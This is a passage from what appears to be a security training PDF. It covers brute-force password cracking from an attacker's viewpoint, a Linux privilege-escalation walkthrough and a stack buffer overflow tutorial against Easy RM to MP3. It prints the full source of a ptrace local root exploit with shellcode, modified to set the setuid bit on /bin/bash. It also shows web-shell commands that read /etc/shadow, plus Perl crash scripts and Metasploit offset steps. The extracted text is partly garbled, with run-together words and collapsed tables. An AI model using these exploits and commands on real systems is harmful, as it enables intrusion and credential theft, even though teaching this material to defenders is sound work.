Hackers and I’m not talking about the ethical kind, have developed a whole range of tools to getat your personal data. And the main impediment standing between your information remainingsafe, or leaking out, is the password you choose. (Ironically, the best protection people have isusually the one they take least seriously.)One of the simplest ways to gain access to your information is through the use of a Brute ForceAttack. This is accomplished when a hacker uses a specially written piece of software to attemptto log into a site using your credentials. Insecure.org has a list of the Top 10 FREE PasswordCrackers right here.So, how would one use this process to actually breach your personal security? Simple, Follow mylogic:

You probably use the same password for lots of stuff right? Some sites you access such as your Bank or work VPN probably have pretty decent security,

so I’m not going to attack them.

Page 76: Java secure development   part 1

75 | P a g e

However, other sites like the Hallmark e-mail greeting cards site, an online forum youfrequent, or an e-commerce site you’ve shopped at might not be as well prepared. So thoseare the ones I’d work on.

So, all we have to do now is unleash Brutus, wwwhack, or THC Hydra on their server withinstructions to try say 10,000 (or 100,000 – whatever makes you happy) differentusernames and passwords as fast as possible.

Once we’ve got several login + password pairings we can then go back and test them ontargeted sites.

But wait… How do I know which bank you use and what your login ID is for the sites youfrequent? All those cookies are simply stored, unencrypted and nicely named, in your Webbrowser’s cache. (Read this post to remedy that problem.)

And how fast could this is done? Well, that depends on three main things, the length andcomplexity of your password, the speed of the hacker’s computer, and the speed of the hacker’sInternet connection.Assuming the hacker has a reasonably fast connection and PC here is an estimate of the amountof time it would take to generate every possible combination of passwords for a given numberof characters. After generating the list it’s just a matter of time before the computer runsthrough all the possibilities – or gets shut down trying.

Pay particular attention to the difference between using only lowercase characters and using allpossible characters (uppercase, lowercase, and special characters – like @#$%^&*). Adding justone capital letter and one asterisk would change the processing time for an 8 characterpassword from 2.4 days to 2.1 centuries.

Password Length All Characters Only Lowercase

3 characters4 characters5 characters6 characters7 characters8 characters9 characters

10 characters11 characters12 characters

0.86 seconds1.36 minutes

2.15 hours8.51 days2.21 years

2.10 centuries20 millennia

1,899 millennia180,365 millennia

17,184,705 millennia

0.02 seconds.046 seconds11.9 seconds5.15 minutes

2.23 hours2.42 days

2.07 months4.48 years

1.16 centuries3.03 millennia

Page 77: Java secure development   part 1

76 | P a g e

13 characters14 characters

1,627,797,068 millennia154,640,721,434 millennia

78.7 millennia2,046 millennia

Remember, these are just for an average computer, and these assume you aren’t using anyword in the dictionary. If Google put their computer to work on it they’d finish about 1,000times faster.

SensePost CrowBar

Page 78: Java secure development   part 1

77 | P a g e

SecuriBox Sentri 2.0

Page 79: Java secure development   part 1

78 | P a g e

OWASP WebSlayer

Page 80: Java secure development   part 1

79 | P a g e

xHydra (BackTrack 3/4 - GTK)

Page 81: Java secure development   part 1

80 | P a g e

Page 82: Java secure development   part 1

81 | P a g e

Linux Hacking - Why Linux?

Linux/Apache privilege escalation

For this example, we shall look at www2.example.com, which is a Linux server running 2.4 kernel andApache 1.3.27. As with the previous example, we shall assume that is has already been compromised, anda file uploader script upload.cgi.

Uploading the UNIX attack tools

For this server, we shall upload a web based command prompt - shell.cgi and another file - ptrace1.c.ptrace1.c is a privilege escalation exploit based on the Linux Ptrace/Setuid Exec Vulnerability. The exploitis slightly modified, to adapt it for one-way use. When run successfully, the exploit applies the setuidpermission to /bin/bash, which is owned by the root user. This causes any shell command executedthrough /bin/bash, to run with super-user privileges. The web based command prompt, shell.cgi,internally invokes /bin/bash, and therefore all commands executed via shell.cgi shall run as the root user.

The source code of the modified ptrace exploit is:

ptrace1.c/** Linux kernel ptrace/kmod local root exploit** Should work under all current 2.2.x and 2.4.x kernels.** I discovered this stupid bug independently on January 25, 2003, that* is (almost) two month before it was fixed and published by Red Hat* and others.** Wojciech Purczynski <[email protected]>** THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY** IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY** (c) 2003 Copyright by iSEC Security Research** exploit modified for one-way use by Saumil Shah*/

#include <grp.h>#include <stdio.h>#include <fcntl.h>#include <errno.h>#include <paths.h>

Page 83: Java secure development   part 1

82 | P a g e

#include <string.h>#include <stdlib.h>#include <signal.h>#include <unistd.h>#include <sys/wait.h>#include <sys/stat.h>#include <sys/param.h>#include <sys/types.h>#include <sys/ptrace.h>#include <sys/socket.h>#include <linux/user.h>

char cliphcode[] ="\x90\x90\xeb\x1f\xb8\xb6\x00\x00""\x00\x5b\x31\xc9\x89\xca\xcd\x80""\xb8\x0f\x00\x00\x00\xb9\xed\x0d""\x00\x00\xcd\x80\x89\xd0\x89\xd3""\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1;pid_t child = 1;pid_t victim = 1;volatile int gotchild = 0;

void fatal(char * msg){perror(msg);kill(parent, SIGKILL);kill(child, SIGKILL);kill(victim, SIGKILL);

}

void putcode(unsigned long * dst){char buf[MAXPATHLEN + CODE_SIZE];unsigned long * src;int i, len;

memcpy(buf, cliphcode, CODE_SIZE);len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);if (len == -1)fatal("[-] Unable to read /proc/self/exe");

len += CODE_SIZE + 1;buf[len] = '\0';

src = (unsigned long*) buf;for (i = 0; i < len; i += 4)

Page 84: Java secure development   part 1

83 | P a g e

if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)fatal("[-] Unable to write shellcode");

}

void sigchld(int signo){struct user_regs_struct regs;

if (gotchild++ == 0)return;

fprintf(stderr, "[+] Signal caught\n");

if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)fatal("[-] Unable to read registers");

fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);

putcode((unsigned long *)regs.eip);

fprintf(stderr, "[+] Now wait for suid shell...\n");

if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)fatal("[-] Unable to detach from victim");

exit(0);}

void sigalrm(int signo){errno = ECANCELED;fatal("[-] Fatal error");

}

void do_child(void){int err;

child = getpid();victim = child + 1;

signal(SIGCHLD, sigchld);

doerr = ptrace(PTRACE_ATTACH, victim, 0, 0);

while (err == -1 && errno == ESRCH);

if (err == -1)fatal("[-] Unable to attach");

Page 85: Java secure development   part 1

84 | P a g e

fprintf(stderr, "[+] Attached to %d\n", victim);while (!gotchild) ;if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)fatal("[-] Unable to setup syscall trace");

fprintf(stderr, "[+] Waiting for signal\n");

for(;;);}

void do_parent(char * progname){struct stat st;int err;errno = 0;socket(AF_SECURITY, SOCK_STREAM, 1);do {err = stat(progname, &st);

} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

if (err == -1)fatal("[-] Unable to stat myself");

alarm(0);system(progname);

}

void prepare(void){if (geteuid() == 0) {initgroups("root", 0);setgid(0);setuid(0);

// execl(_PATH_BSHELL, _PATH_BSHELL, NULL);// line below is a modification to adapt the exploit// for one-way hacking

execl("/bin/chmod", "/bin/chmod", "4755", "/bin/bash", NULL);fatal("[-] Unable to spawn shell");

}}

int main(int argc, char ** argv){prepare();signal(SIGALRM, sigalrm);alarm(10);

parent = getpid();child = fork();victim = child + 1;

Page 86: Java secure development   part 1

85 | P a g e

if (child == -1)fatal("[-] Unable to fork");

if (child == 0)do_child();

elsedo_parent(argv[0]);

return 0;}

The screenshots below show these two files being uploaded on www2.example.com.

We shall now compile ptrace1.c and check if it has been compiled properly. We shall also check ourcurrent privileges. The screenshot below shows the following commands executed via shell.cgi:

gcc -o ptrace1 ptrace1.cls –laid

Page 87: Java secure development   part 1

86 | P a g e

The privileges extended to shell.cgi are those of the "nobody" user.

ptrace1.c - privilege escalationThe next step is to attempt to execute ptrace1, to see if we can apply the setuid permissions to /bin/bash.The exploit ptrace1.c internally executes the following command:

/bin/chmod 4755 /bin/bash

The screenshot below shows ptrace1 being executed and the file listing for /bin/bash:

Sure enough, the /bin/bash binary has the setuid permission applied to it.The next screenshot shows two commands being executed:Idcat /etc/shadow

Page 88: Java secure development   part 1

87 | P a g e

Notice that the effective uid (euid) of the shell.cgi process is 0, which is that of the root user. The fact thatwe were able to view the contents of the /etc/shadow file proves that the privileges have been escalated.

We now have full super-user control of www2.example.com

Page 89: Java secure development   part 1

88 | P a g e

Buffer Overflows Why is Programs/Applications Vulnerable?

Verify the bug

First of all, let’s verify that the application does indeed crash when opening a malicious m3u file.(Or find yourself an application that crashes when you feed specifically crafted data to it).

Get yourself a copy of the vulnerable version of Easy RM to MP3 and install it on a computerrunning Windows XP. The vulnerability report states that the exploit works on XP SP2 (English),but I’ll use XP SP3 (English).

Local copy of the vulnerable application can be downloaded here:

Easy RM to MP3 Conversion Utility (2.8 MiB, 2,325 hits)You do not have permission to download this file.

Quick side note: you can find older versions of applications at oldapps.com and oldversion.com,or by looking at exploits on exploit-db.com (which often have a local copy of the vulnerableapplication as well)

We’ll use the following simple Perl script to create an “.m3u” file that may help us to discovermore information about the vulnerability:

my $file= "crash.m3u";my $junk= "\x41" x 10000;open($FILE,">$file");print $FILE "$junk";close($FILE);print "m3u File Created successfully\n";

Run the Perl script to create the m3u file. The fill will be filled with 10000 A’s (\x41 is thehexadecimal representation of A) and open this m3u file with Easy RM to MP3…. Theapplication throws an error, but it looks like the error is handled correctly and the application donot crash. Modify the script to write a file with 20000 A’s and try again, the same behavior.(Exception is handled correctly, so we still could not overwrite anything useful). Now change thescript to write 30000 A’s, create the m3u file and open it in the utility.

Page 90: Java secure development   part 1

89 | P a g e

Boom – application dies.

Ok, so the application crashes if we feed it a file that contains between 20000 and 30000 A’s.But what can we do with this?

Verify the bug – and see if it could be interesting

Obviously, not every application crash can lead to exploitation. In many cases, an applicationcrash will not lead to exploitation… But sometimes it does. With “exploitation”, I mean that youwant the application to do something it was not intended to do… such as running your owncode. The easiest way to make an application do something different is by controlling itsapplication flow (and redirects it to somewhere else). This can be done by controllingthe Instruction Pointer (or Program Counter), which is a CPU registering that contains a pointerto where the next instruction that needs to be executed is located.

Suppose an application calls a function with a parameter. Before going to the function, it savesthe current location in the instruction pointer (so it knows where to return when the functioncompletes). If you can modify the value in this pointer, and point it to a location in memory thatcontains your own piece of code, then you can change the application flow and make it executesomething different (other than returning back to the original place). The code that you want tobe executed after controlling the flow is often referred to as “shellcode”. So if we make theapplication run our shellcode, we can call it a working exploit. In most cases, this pointer isreferenced by the term EIP. This register size is 4 bytes. So if you can modify those 4 bytes, youown the application (and the computer the application runs on)

Before we proceed – some theory

Just a few terms that you will need:

Every Windows application uses parts of memory. The process memory contains 3 majorcomponents:

Code segment (instructions that the processor executes. The EIP keeps track of the nextinstruction)

data segment (variables, dynamic buffers) Stack segment (used to pass data/arguments to functions, and is used as space for

variables. The stack starts (= the bottom of the stack) from the very end of the virtualmemory of a page and grows down (to a lower address). a PUSH adds something to thetop of the stack, POP will remove one item (4 bytes) from the stack and puts it in a register.

If you want to access the stack memory directly, you can use ESP (Stack Pointer), which points atthe top (so the lowest memory address) of the stack.

After a push, ESP will point to a lower memory address (address is decremented with thesize of the data that is pushed onto the stack, which is 4 bytes in case ofaddresses/pointers). Decrements usually happen before the item is placed on the stack(depending on the implementation… if ESP already points at the next free location in thestack, the decrement happens after placing data on the stack)

Page 91: Java secure development   part 1

90 | P a g e

After a POP, ESP points to a higher address (address is incremented (by 4 bytes in case ofaddresses/pointers)). Increments happen after an item is removed from the stack.

When a function/subroutine is entered, a stack frame is created. This frame keeps theparameters of the parent procedure together and is used to pass arguments to thesubroutine. The current location of the stack can be accessed via the stack pointer (ESP), thecurrent base of the function is contained in the base pointer (EBP) (or frame pointer).

The CPU’s general purpose registers (Intel, x86) are:

EAX: accumulator: used for performing calculations, and used to store return values fromfunction calls. Basic operations such as add, subtract, compare use this general-purposeregister

EBX: base (does not have anything to do with base pointer). It has no general purpose andcan be used to store data.

ECX: counter: used for iterations. ECX counts downward. EDX: data: this is an extension of the EAX register. It allows for more complex calculations

(multiply, divide) by allowing extra data to be stored to facilitate those calculations. ESP : stack pointer EBP : base pointer ESI : source index : holds location of input data EDI : destination index : points to location of where result of data operation is stored EIP : instruction pointer

Process Memory

When an application is stared in a Win32 environment, a process is created and virtual memoryis assigned to. In a 32 bit process, the address ranges from 0×00000000 to 0xFFFFFFFF, where0×00000000 to 0x7FFFFFFF is assigned to "user-land", and 0×80000000 to 0xFFFFFFFF isassigned to "kernel land". Windows uses the flat memory model, which means that the CPU candirectly/sequentially/linearly address all of the available memory locations, without having touse a segmentation/paging scheme.

Kernel land memory is only accessible by the OS.

When a process is created, a PEB (Process Execution Block) and TEB (Thread Environment Block)are created.

The PEB contains all user land parameters that are associated with the current process:

location of the main executable pointer to loader data (can be used to list all DLLs / modules that are/can be loaded into

the process) pointer to information about the heap

The TEB describes the state of a thread, and includes

location of the PEB in memory

Page 92: Java secure development   part 1

91 | P a g e

location of the stack for the thread it belongs to pointer to the first entry in the SEH chain (see tutorial 3 and 3b to learn more about what a

SEH chain is)

Each thread inside the process has one TEB.

The Win32 process memory map looks like this:

Page 93: Java secure development   part 1

92 | P a g e

The text segment of a program image / DLL is read only, as it only contains the application code.This prevents people from modifying the application code. This memory segment has a fixedsize. The data segment is used to store global and static program variables. The data segment isused for initialized global variables, strings, and other constants.

The data segment is writable and has a fixed size. The heap segment is used for the rest of theprogram variables. It can grow larger or smaller as desired. All of the memory in the heap ismanaged by allocator (and De-Allocator) algorithms. A memory region is reserved by thesealgorithms. The heap will grow towards higher addresses.

In a DLL, the code, imports (list of functions used by the DLL, from another DLL or application),and exports (functions it makes available to other DLL’s applications) are part of the .textsegment.

The Stack

The stack is a piece of the process memory, a data structure that works LIFO (Last in first out). Astack gets allocated by the OS, for each thread (when the thread is created). When the threadends, the stack is cleared as well. The size of the stack is defined when it gets created anddoesn’t change. Combined with LIFO and the fact that it does not require complex managementstructures/mechanisms to get managed, the stack is pretty fast, but limited in size.

LIFO means that the most recent placed data (result of a PUSH instruction) is the first one thatwill be removed from the stack again. (It is removed by a POP instruction).

When a stack is created, the stack pointer points to the top of the stack (= the highest addresson the stack). As information is pushed onto the stack, this stack pointer decrements (thepointer goes to a lower address). So in essence, the stack grows to a lower address.

The stack contains local variables, function calls and other info that does not need to be storedfor a larger amount of time. As more data is added to the stack (pushed onto the stack), thestack pointer is decremented and points at a lower address value.

Every time a function is called, the function parameters are pushed onto the stack, as well as thesaved values of registers (EBP, EIP). When a function returns, the saved value of EIP is retrievedfrom the stack and placed back in EIP, so the normal application flow can be resumed.

Let’s use a few lines of simple code to demonstrate the behavior:

01 #include <string.h>

02

Page 94: Java secure development   part 1

93 | P a g e

03 void do_something(char *Buffer)

04 {

05 char MyVar[128];

06 strcpy(MyVar,Buffer);

07 }

08

09 int main (int argc, char **argv)

10 {

11 do_something(argv[1]);

12 }

(You can compile this code. Get yourself a copy of Dev-C++ 4.9.9.2, create a new Win32console project (use C as language, not C++), paste the code and compile it). On my system, Icalled the project "stacktest".Run the application : "stacktest.exe AAAA". Nothing should return.

This applications takes an argument (argv[1] and passes the argument to functiondo_something(). In that function, the argument is copied into a local variable that has amaximum of 128 bytes. This means that if the argument is longer than 127 bytes (+ a null byteto terminate the string), the buffer may get overflown.

When function "do_something(param1)" gets called from inside main(), the following thingshappen:

A new stack frame will be created, on top of the ‘parent’ stack. The stack pointer (ESP) points tothe highest address of the newly created stack. This is the "top of the stack".

Page 95: Java secure development   part 1

94 | P a g e

Before do_something() is called, a pointer to the argument(s) gets pushed to the stack. In ourcase, this is a pointer to argv[1].

Stack after the MOV instruction:

Page 96: Java secure development   part 1

95 | P a g e

Next, function do_something is called. The CALL instruction will first put the current instructionpointer onto the stack (so it knows where to return to if the function ends) and will then jump tothe function code.

Stack after the CALL instruction:

As a result of the push, ESP decrements 4 bytes and now points to a lower address.

Page 97: Java secure development   part 1

96 | P a g e

(or, as seen in a debugger) :

ESP points at 0022FF5C. At this address, we see the saved EIP (Return to…), followed by apointer to the parameter (AAAA in this example). This pointer was saved on the stack before theCALL instruction was executed.

Next, the function prolog executes. This basically saves the frame pointer (EBP) onto the stack,so it can be restored as well when the function returns. The instruction to save the framepointer is "push ebp". ESP is decremented again with 4 bytes.

Page 98: Java secure development   part 1

97 | P a g e

Following the push ebp, the current stack pointer (ESP) is put in EBP. At that point, both ESPand EBP point at the top of the current stack. From that point on, the stack will usually bereferenced by ESP (top of the stack at any time) and EBP (the base pointer of the current stack).This way, the application can reference variables by using an offset to EBP.

Most functions start with this sequence : PUSH EBP, followed by MOV EBP,ESP

So, if you would push another 4 bytes to the stack, ESP would decrement again and EBP wouldstill stay where it was. You could reference these 4 bytes by using EBP-0×8.

Next, we can see how stack space for the variable MyVar (128bytes) is declared/allocated. Inorder to hold the data, some space is allocated on the stack to hold data in this variable… ESP isdecremented by a number of bytes. This number of bytes will most likely is more than 128bytes, because of an allocation routine determined by the compiler. In the case of Dev-C++, thisis 0×98 bytes. So you will see a SUB ESP,0×98 instruction. That way, there will be space availablefor this variable.

Page 99: Java secure development   part 1

98 | P a g e

The disassembly of the function looks like this :

01 00401290 /$ 55 PUSH EBP

02 00401291 |. 89E5 MOV EBP,ESP

03 00401293 |. 81EC 98000000 SUB ESP,98

04 00401299 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; |

05 0040129C |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; |

06 004012A0 |. 8D85 78FFFFFF LEA EAX,DWORD PTR SS:[EBP-88] ; |

Page 100: Java secure development   part 1

99 | P a g e

07 004012A6 |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |

08 004012A9 |. E8 72050000 CALL <jmp. &msvcrt.strcpy=""> ; \strcpy

09 004012AE |. C9 LEAVE

10 004012AF \. C3 RETN</jmp.>

(Don’t worry about the code too much. You can clearly see the function prolog (PUSH EBP andMOV EBP, ESP), you can also see where space gets allocated for MyVar (SUB ESP, 98), and youcan see some MOV and LEA instructions (which basically set up the parameters for the strcpyfunction… taking the pointer where argv[1] sits and using it to copy data from, into MyVar.

If there would not have been a strcpy() in this function, the function would now end and"unwind" the stack. Basically, it would just move ESP back to the location where saved EIP was,and then issues a RET instruction. A ret, in this case, will pick up the saved EIP pointer from thestack and jump to it. (Thus, it will go back to the main function, right after wheredo_something() was called). The epilog instruction is executed by a LEAVE instruction (whichwill restore both the frame pointer and EIP).

In my example, we have a strcpy() function.

This function will read data, from the address pointed to by [Buffer], and store it in <space forMyVar>, reading all data until it sees a null byte (string terminator). While it copies the data,ESP stays where it is. The strcpy() does not use PUSH instructions to put data on the stack… itbasically reads a byte and writes it to the stack, using an index (for example ESP, ESP+1, ESP+2,etc). So after the copy, ESP still points at the begin of the string.

Page 101: Java secure development   part 1

100 | P a g e

That means… If the data in [Buffer] is somewhat longer than 0×98 bytes, the strcpy() willoverwrite saved EBP and eventually saved EIP (and so on). After all, it just continues to read &write until it reaches a null byte in the source location (in case of a string)

Page 102: Java secure development   part 1

101 | P a g e

ESP still points at the begin of the string. The strcpy() completes as if nothing is wrong. Afterthe strcpy(), the function ends. And this is where things get interesting. The function epilogkicks in. Basically, it will move ESP back to the location where saved EIP was stored, and it willissue a RET. It will take the pointer (AAAA or 0×41414141 in our case, since it got overwritten),and will jump to that address.

So you control EIP.

Long story short, by controlling EIP, you basically change the return address that the functionwill uses in order to “resume normal flow”.

Of course, if you change this return address by issuing a buffer overflow, it’s not a “normal flow”anymore.

Suppose you can overwrite the buffer in MyVar, EBP, EIP and you have A’s (your own code) inthe area before and after saved EIP… think about it. After sending the buffer([MyVar][EBP][EIP][your code]), ESP will/should point at the beginning of [your code]. So if youcan make EIP go to your code, you’re in control.

Note : when a buffer on the stack overflows, the term "stack based overflow" or "stack bufferoverflow" is used. When you are trying to write past the end of the stack frame, the term"stack overflow" is used. Don’t mix those two up, as they are entirely different.

The debugger

In order to see the state of the stack (and value of registers such as the instruction pointer, stackpointer etc), we need to hook up a debugger to the application, so we can see what happens atthe time the application runs (and especially when it dies).

There are many debuggers available for this purpose. The two debuggers I use most oftenare Windbg, and Immunity’s Debugger

Let’s use Windbg. Install Windbg (Full install) and register it as a “post-mortem” debuggerusing “Windbg -I”.

Page 103: Java secure development   part 1

102 | P a g e

You can also disable the “xxxx has encountered a problem and needs to close” popup by settingthe following registry key:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\Auto : set to 0

In order to avoid Windbg complaining about Symbol files not found, create a folder on your harddrive (let’s say c:\windbgsymbols). Then, in Windbg, go to “File” – “Symbol File Path” and enterthe following string:

SRV*C:\windbgsymbols*http://msdl.microsoft.com/download/symbols

(do NOT put an empty line after this string ! make sure this string is the only string in thesymbol path field)

If you want to use Immunity Debugger instead: get a copy here and install it. Open Immunitydebugger, go to "Options" – "Just in-time debugging" and click "Make Immunity Debugger justin-time debugger".

Ok, let’s get started.

Launch Easy RM to MP3, and then open the crash.m3u file again. The application will crashagain. If you have disabled the popups, Windbg or Immunity debugger will kick in automatically.If you get a popup, click the “debug” button and the debugger will be launched:

Windbg:

Page 104: Java secure development   part 1

103 | P a g e

Immunity:

Page 105: Java secure development   part 1

104 | P a g e

This GUI shows the same information, but in a more…errr.. graphical way. In the upper leftcorner, you have the CPU view, which shows assembly instructions and their opcodes. (Thewindow is empty because EIP currently points at 41414141 and that’s not a valid address). Inthe upper right windows, you can see the registers. In the lower left corner, you see thememory dump of 00446000 in this case. In the lower right corner, you can see the contents ofthe stack (so the contents of memory at the location where ESP points at).

Anyways, in both cases, we can see that the instruction pointer contains 41414141, which is thehexadecimal representation for AAAA.

A quick note before proceeding: On Intel x86, the addresses are stored little-endian (sobackwards). The AAAA you are seeing is in fact AAAA :-) (Or, if you have sent ABCD in yourbuffer, EIP would point at 44434241 (DCBA)

So it looks like part of our m3u file was read into the buffer and caused the buffer tooverflow. We have been able to overflow the buffer and write across the instructionpointer. So we may be able to control the value of EIP.

Since our file does only contain A’s, we don’t know exactly how big our buffer needs to be inorder to write exactly into EIP. In other words, if we want to be specific in overwriting EIP (so wecan feed it usable data and make it jump to our evil code, we need to know the exact position in

Page 106: Java secure development   part 1

105 | P a g e

our buffer/payload where we overwrite the return address (which will become EIP when thefunction returns). This position is often referred to as the “offset”.

Determining the buffer size to write exactly into EIP

We know that EIP is located somewhere between 20000 and 30000 bytes from the beginning ofthe buffer. Now, you could potentially overwrite all memory space between 20000 and 30000bytes with the address you want to overwrite EIP with. This may work, but it looks much nicer ifyou can find the exact location to perform an address overwrites. In order to determine theexact offset of EIP in our buffer, we need to do some additional work.

First, let’s try to narrow down the location by changing our Perl script just a little:

Let’s cut things in half. We’ll create a file that contains 25000 A’s and another 5000 B’s. If EIPcontains 41414141 (AAAA), EIP sits between 20000 and 25000, and if EIP contains 42424242(BBBB), EIP sits between 25000 and 30000.

my $file= "crash25000.m3u";my $junk = "\x41" x 25000;my $junk2 = "\x42" x 5000;open($FILE,">$file");print $FILE $junk.$junk2;close($FILE);print "m3u File Created successfully\n";

Create the file and open crash25000.m3u in Easy RM to MP3.

OK, so eip contains 42424242 (BBBB), so we know EIP has an offset between 25000 and 30000.That also means that we should/may see the remaining B’s in memory where ESP points at(given that EIP was overwritten before the end of the 30000 character buffer)

Buffer:[ 5000 B's ]

[AAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB][BBBB][BBBBBBBBB......]25000 A's EIP ESP points here

Dump the contents of ESP :

Page 107: Java secure development   part 1

106 | P a g e

0:000> d esp000ff730 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff740 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff750 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff760 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff770 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff780 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff790 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff7a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB0:000> d000ff7b0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff7c0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff7d0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff7e0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff7f0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff800 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff810 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff820 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB0:000> d000ff830 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff840 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff850 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff860 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff870 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff880 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff890 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB000ff8a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB

That is great news. We have overwritten EIP with BBBB and we can also see our buffer in ESP.

Before we can start tweaking the script, we need to find the exact location in our buffer thatoverwrites EIP.

In order to find the exact location, we’ll use MetaSploit.

MetaSploit has a nice tool to assist us with calculating the offset. It will generate a string thatcontains unique patterns. Using this pattern (and the value of EIP after using the pattern in ourmalicious .m3u file), we can see how big the buffer should be to write exactly into EIP.

Open the tools folder in the MetaSploit framework3 folder (I’m using a linux version ofMetaSploit 3). You should find a tool called pattern_create.rb. Create a pattern of 5000characters and write it into a file

root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rbUsage: pattern_create.rb length [set a] [set b] [set c]root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 5000

Edit the Perl script and replace the content of $junk2 with our 5000 characters.

Page 108: Java secure development   part 1

107 | P a g e

my $file= "crash25000.m3u";my $junk = "\x41" x 25000;my $junk2 = “put the 5000 characters here”open($FILE,">$file");print $FILE $junk.$junk2;close($FILE);print "m3u File Created successfully\n";

Create the m3u file. Open this file in Easy RM to MP3, wait until the application dies again, andtake note of the contents of EIP

At this time, EIP contains 0x356b4234 (note: little endian: we have overwritten EIP with 34 426b 35 = 4Bk5

Let’s use a second MetaSploit tool now, to calculate the exact length of the buffer before writinginto EIP, feed it with the value of EIP (based on the pattern file) and length of the buffer:

root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 0x356b4234 50001094root@bt:/pentest/exploits/framework3/tools#

1094. That’s the buffer length needed to overwrite EIP. So if you create a file with 25000+1094A’s, and then add 4 B’s (42 42 42 42 in hex) EIP should contain 42 42 42 42. We also know thatESP points at data from our buffer, so we’ll add some C’s after overwriting EIP.

Let’s try. Modify the Perl script to create the new m3u file.

my $file= "eipcrash.m3u";my $junk= "A" x 26094;my $eip = "BBBB";my $espdata = "C" x 1000;open($FILE,">$file");print $FILE $junk.$eip.$espdata;close($FILE);print "m3u File Created successfully\n";

Create eipcrash.m3u, open it in Easy RM to MP3, observe the crash and look at eip and thecontents of the memory at ESP:

Page 109: Java secure development   part 1

108 | P a g e

0:000> d esp000ff730 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC000ff740 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC000ff750 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC000ff760 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC000ff770 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC000ff780 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC000ff790 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC000ff7a0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC

In Immunity Debugger, you can see the contents of the stack, at ESP, by looking at the lowerright hand window.

Excellent. EIP contains BBBB, which is exactly what we wanted. So now we control EIP. On top ofthat, ESP points to our buffer (C’s)

Note : the offset shown here is the result of the analysis on my own system. If you are tryingto reproduce the exercises from this tutorial on your own system, odds are high that you willget a different offset address. So please don’t just take the offset value or copy the sourcecode to your system, as the offset is based on the file path where the m3u file is stored. Thebuffer that is vulnerable to an overflow includes the full path to the m3u file. So if the path onyour system is shorter or larger than mine, then the offset will be different.

Our exploit buffer so far looks like this:

Buffer EBP EIP ESP points here

|

V

A (x 26090) AAAA BBBB CCCCCCCCCCCCCCCCCCCCCCCC

414141414141…41 41414141 42424242

26090 bytes 4 bytes 4 bytes 1000 bytes?

Page 110: Java secure development   part 1

109 | P a g e

Find memory space to host the shellcode

We control EIP. So we can point EIP to somewhere else, to a place that contains our own code(shellcode). But where is this space, how can we put our shellcode in that location and how canwe make EIP jump to that location?

